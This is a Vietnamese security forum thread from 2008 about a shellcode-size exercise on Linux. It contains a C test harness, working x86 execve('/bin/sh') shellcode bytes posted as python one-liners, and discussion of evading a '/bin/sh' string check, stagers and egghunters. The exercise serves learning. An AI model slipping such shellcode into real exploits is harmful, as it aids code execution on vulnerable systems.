banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành *nix [ Thảo luận ] - Về Shellcode trên linux  XML
  [Programming]   [ Thảo luận ] - Về Shellcode trên linux 20/09/2008 21:54:31 (+0700) | #1 | 152172
Mr.Khoai
Moderator

Joined: 27/06/2006 01:55:07
Messages: 954
Offline
[Profile] [PM]
Tình hình là dạo gần đây khoai rất có duyên với mấy cái shellcode + buffer overflow. Hôm trước có gặp phải một "bài tập" nhỏ, khá hay nên post lên đây để bà con thảo luận chơi cho vui.

Code:
/* testshell.c */
#include <stdio.h>
#include <string.h>
#define bufsz 100
const char msg[]="Usage: %s <shellcode file>\n";
static char buffer1[bufsz];
static char buffer2[bufsz];
void usage(char *self)
{
        printf(msg, self);
        exit(1);
}

int main(int argc, char *argv[])
{
        FILE *fp;
        void (*funcptr)();
        if (argc != 2) usage(argv[0]);
        if ((fp=fopen(argv[1], "rb"))==NULL) {
                printf("fail to open file: %s\n", argv[1]);
                exit(1);
        }
        fgets(buffer1, bufsz, fp);
        fclose(fp);
        strcpy(buffer2, buffer1);/* your shellcode should not contain 0x0*/
        if (strlen(buffer2)>=50) /* your shellcode should be less than 40 bytes */
                printf("your shellcode is too long! 5 points penalty \n");
        if (strlen(buffer2)<30)  /* the shorter, the better the shell code is */
                printf("your shellcode is less than 30 bytes! 10 bonus points\n");
	if (strstr(buffer2, "/bin/sh"))
		printf("Malicious code detected! 15 points penalty \n");
	funcptr = (void *) buffer2;
	(*funcptr)();  /* execute your shell code */
	return 0 ;
}

Nhiệm vụ của mình là phải thiết kế một binary file chứa shellcode sao cho:
1. Shellcode phải work. Và phải spawn /bin/sh (không chơi shell khác )
2. Shellcode phải nhỏ. Càng nhỏ càng tốt.
3. Shellcode phải né string /bin/sh vì chương trình testshell sẽ kiểm tra string đó.

Các bạn thử viết một cái shellcode thỏa mãn các điều kiện trên xem? Và size nhỏ nhất là bao nhiêu? Các bạn dùng cách nào để có được size nhỏ như vây?

Thông tin thêm về gcc:
Code:
$  gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/3.2.2/specs
Configured with: ../gcc-3.2.2/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i386-slackware-linux --host=i386-slackware-linux
Thread model: posix
gcc version 3.2.2


khoai
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 20/09/2008 23:38:27 (+0700) | #2 | 152189
Cognac
Member

[Minus]    0    [Plus]
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
[Profile] [PM]
Anh Khoai chạy thử :
Code:
python -c 'print "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >input

rồi chạy
Code:
./testshell input

PS: strlen(shellcode >30) && strlen(shellcode <50) thì ko được point nào ?? smilie
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 21/09/2008 00:19:52 (+0700) | #3 | 152201
Cognac
Member

[Minus]    0    [Plus]
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
[Profile] [PM]
Đáp án này có vẻ khả thi hơn
Code:
python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >sh3llc0d3


Code:
./testshell sh3llc0d3
your shellcode is less than 30 bytes! 10 bonus points
$

[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 21/09/2008 01:22:05 (+0700) | #4 | 152206
Mr.Khoai
Moderator

Joined: 27/06/2006 01:55:07
Messages: 954
Offline
[Profile] [PM]
Hello Cognac,

Nếu shell lớn hơn 50 bytes --> 10 points penalty
Nếu shell ỡ giữa 30-50 : không có penalty, cũng không có bonus
Nếu shell bé hơn 30 bytes --> 10 points bonus.

Không thèm cái shellcode của bồ, mà cần code + giải thích vì đâu có được đống bytes như vậy? Tại sao push giá trị "abcd" lên stack? vân vân.

khoai
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 21/09/2008 07:24:33 (+0700) | #5 | 152239
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
Mr.Khoai: chưa làm thử, nhưng ý tưởng thì thế này:

1. giới hạn 30 bytes thì kô khó, chỉ cần khoảng 24 byte là đã có thể làm shellcode để spawn /bin/sh

2. còn dư 6 byte, dùng 6 byte này để làm biến mất chuỗi /bin/sh. Cái này thì có nhiều cách để làm, chẳng hạn như đưa vào chuỗi /bin/sx rồi sửa lại cho nó thành /bin/sh.

--m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 21/09/2008 09:41:47 (+0700) | #6 | 152262
Cognac
Member

[Minus]    0    [Plus]
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
[Profile] [PM]
@MrKhoai: Bạn chuyển đoạn shellcode của mình sang assembly dùm, mình sẽ nhờ mọi người giải thích smilie
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 21/09/2008 18:16:31 (+0700) | #7 | 152311
Mr.Khoai
Moderator

Joined: 27/06/2006 01:55:07
Messages: 954
Offline
[Profile] [PM]
anh mrro,

"Bài" này không giới hạn độ dài tối đa ở 30 bytes. Cái khoai đang tìm là một shellcode thật nhỏ. Nhỏ nhất là bao nhiêu thì khoai không biết. Nhưng khoai đã mò được một cái chỉ với 16 bytes, spawn /bin/sh và không bị la lên là "malicious code detected"

Cognac,

Ủa, cứ tưởng code asm là của bồ viết chứ, sao lại bảo khoai chuyển từ shellcode qua assembly?

to all,

Bài này làm chơi cho vui. Đừng vướng vào lối mòn khi suy nghĩ. Nghĩ thoáng một chút sẽ tìm được một con shellcode hiệu quả mà kích thước lại nhỏ

khoai
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 23/09/2008 00:23:27 (+0700) | #8 | 152478
Cognac
Member

[Minus]    0    [Plus]
Joined: 12/08/2008 02:28:47
Messages: 17
Offline
[Profile] [PM]

Mr.Khoai wrote:
anh mrro,

"Bài" này không giới hạn độ dài tối đa ở 30 bytes. Cái khoai đang tìm là một shellcode thật nhỏ. Nhỏ nhất là bao nhiêu thì khoai không biết. Nhưng khoai đã mò được một cái chỉ với 16 bytes, spawn /bin/sh và không bị la lên là "malicious code detected"

Cognac,

Ủa, cứ tưởng code asm là của bồ viết chứ, sao lại bảo khoai chuyển từ shellcode qua assembly?

to all,

Bài này làm chơi cho vui. Đừng vướng vào lối mòn khi suy nghĩ. Nghĩ thoáng một chút sẽ tìm được một con shellcode hiệu quả mà kích thước lại nhỏ

khoai 

nói chơi một câu mà khó chịu vậy bồ smilie. Thực tế spawshell trong trường hợp này thì chắc hẳn là bạn khai thác kiểu "local exploit" chứ ko phải "remote exploit" nên thay vì chúng ta mất 10 byte để push chuỗi /bin/sh, thì cất chuỗi đó trong biến môi trường rồi push vào, tiết kiệm được 5 byte. Bồ có chịu kiểu này ko? smilie
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 23/09/2008 00:44:28 (+0700) | #9 | 152484
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
@Mr.Khoai: thế thì dùng lại cái "/bin/sh" trong code :-p. bây giờ giả sử biên dịch với tùy chọn -fpic và ASLR được kích hoạt, thì làm sao smilie?

-m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 23/09/2008 14:50:04 (+0700) | #10 | 152590
Mr.Khoai
Moderator

Joined: 27/06/2006 01:55:07
Messages: 954
Offline
[Profile] [PM]
Cognac,

Cái này không phải là exploit đâu, đơn giản chỉ là một bài tập để thiết kế cái shellcode mà thôi. Khoai có chịu không thì đâu có quan trọng, quan trọng là bồ "rút" ra được cái gì từ bài này smilie

anh mrro,

Đúng là khoai dùng lại chính cái /bin/sh trong testshell. Đây là một ví dụ khá rõ cho hiện tượng nhét thêm một defense system vào hệ thống, nhưng lại vô tình tạo ra weakpoint khiến cho mục tiêu (ở đây là size shellcode phải nhỏ) dễ thực hiện hơn.

Còn hai cái options kia phải làm sao là cả một vấn đề còn đang suy nghĩ smilie

khoai
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 23/09/2008 16:46:07 (+0700) | #11 | 152595
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
@Mr.Khoai: nói về shellcode có độ dài nhỏ thì tớ biết hiện tại đa số người ta sử dụng các stager hoặc các egghunter.

Stager là một đoạn shellcode rất nhỏ, đóng vai trò là cầu nối giữa attacker với vulnerable application, và từ đó mở cửa (thường là thông qua network, sử dụng lại cái socket descriptor đang mở luôn) để đón nhận các stage từ attacker gửi sang tiếp. Các stage này mới chính là payload thứ thiệt với độ dài không giới hạn, nên có thể làm nhiều chuyện *kinh hoàng* :-p.

Còn egghunter là dạng shellcode dùng để đi tìm shellcode khác mà mình biết là nằm đâu đó trong memory của vulnerable application, nhưng không biết chính xác nằm ở đâu. Egghunter cũng có độ dài rất nhỏ, chỉ vài mươi byte.

Không biết có còn kỹ thuật nào không nhỉ?

--m

PS: àh nếu mà kích hoạt ASLR với -fpic lên thì bắt buộc phải nhét /bin/sh vào thôi, như cách của Cognac làm chẳng hạn.


http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 23/09/2008 20:27:23 (+0700) | #12 | 152601
Mr.Khoai
Moderator

Joined: 27/06/2006 01:55:07
Messages: 954
Offline
[Profile] [PM]
Khà khà, anh mrro, khoai vừa mới thử với -fpic thì shellcode cũ vẫn work smilie
Code:
$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/3.2.2/specs
Configured with: ../gcc-3.2.2/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i386-slackware-linux --host=i386-slackware-linux
Thread model: posix
gcc version 3.2.2
$ gcc -o testshell1 -fpic -g testshell.c 
$ ./testshell1 SC1
your shellcode is less than 30 bytes! 10 bonus points
sh-2.05b$

SC1 vẫn sử dụng string /bin/sh trong testsh chứ không push string đó lên stack. Thử tiếp với ASLR thì SC1 vẫn work. Lý do: Đã nói cái này không phải là exploit, đơn giản là một bài tập thiết kế shellcode. Các protection mechanism có ứng dụng cũng chưa chắc có hiệu quả:
Code:
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 1
$ gcc -fpic -o testshell -g testshell.c
$ ./testshell SC1
your shellcode is less than 30 bytes! 10 bonus points
sh-2.05b$


Thử build lại với gcc 4.1.2 thì lại khác. SC1 bị segfault. Nhưng cũng may mắn mò được một cách khác tạo ra được một shellcode nhỏ hơn (15 bytes). Vẫn sử dụng string /bin/sh trong testshell, nhưng do gcc khác version khiến cho vị trí của string này trong stack "thuận tiện" khi sử dụng. khoai sẽ report cụ thể các shell code sau.

stager và egghunter thì lần đầu tiên khoai nghe nói. Thanks anh mrro, sẽ xem qua về hai anh này.

khoai
[Up] [Print Copy]
  [Question]   Re: [ Thảo luận ] - Về Shellcode trên linux 23/09/2008 23:38:06 (+0700) | #13 | 152641
mrro
Administrator

Joined: 27/12/2001 05:07:00
Messages: 745
Offline
[Profile] [PM]
@Mr.Khoai: haha tớ nhầm, ngồi nhìn mã assembly thấy nó dùng relative addressing nên cứ ngỡ là nó sẽ ngẫu nhiên đâu đó. mà ngồi nghĩ lại thì mấy cái chuỗi như "/bin/sh" trong trường hợp này thể nào cũng sẽ bị nhét vào .rodata segment thôi, nên có -fPIC hay kô thì cũng vậy. thx Mr.Khoai.

--m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?/hvaonline/posts/list/42133.html
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|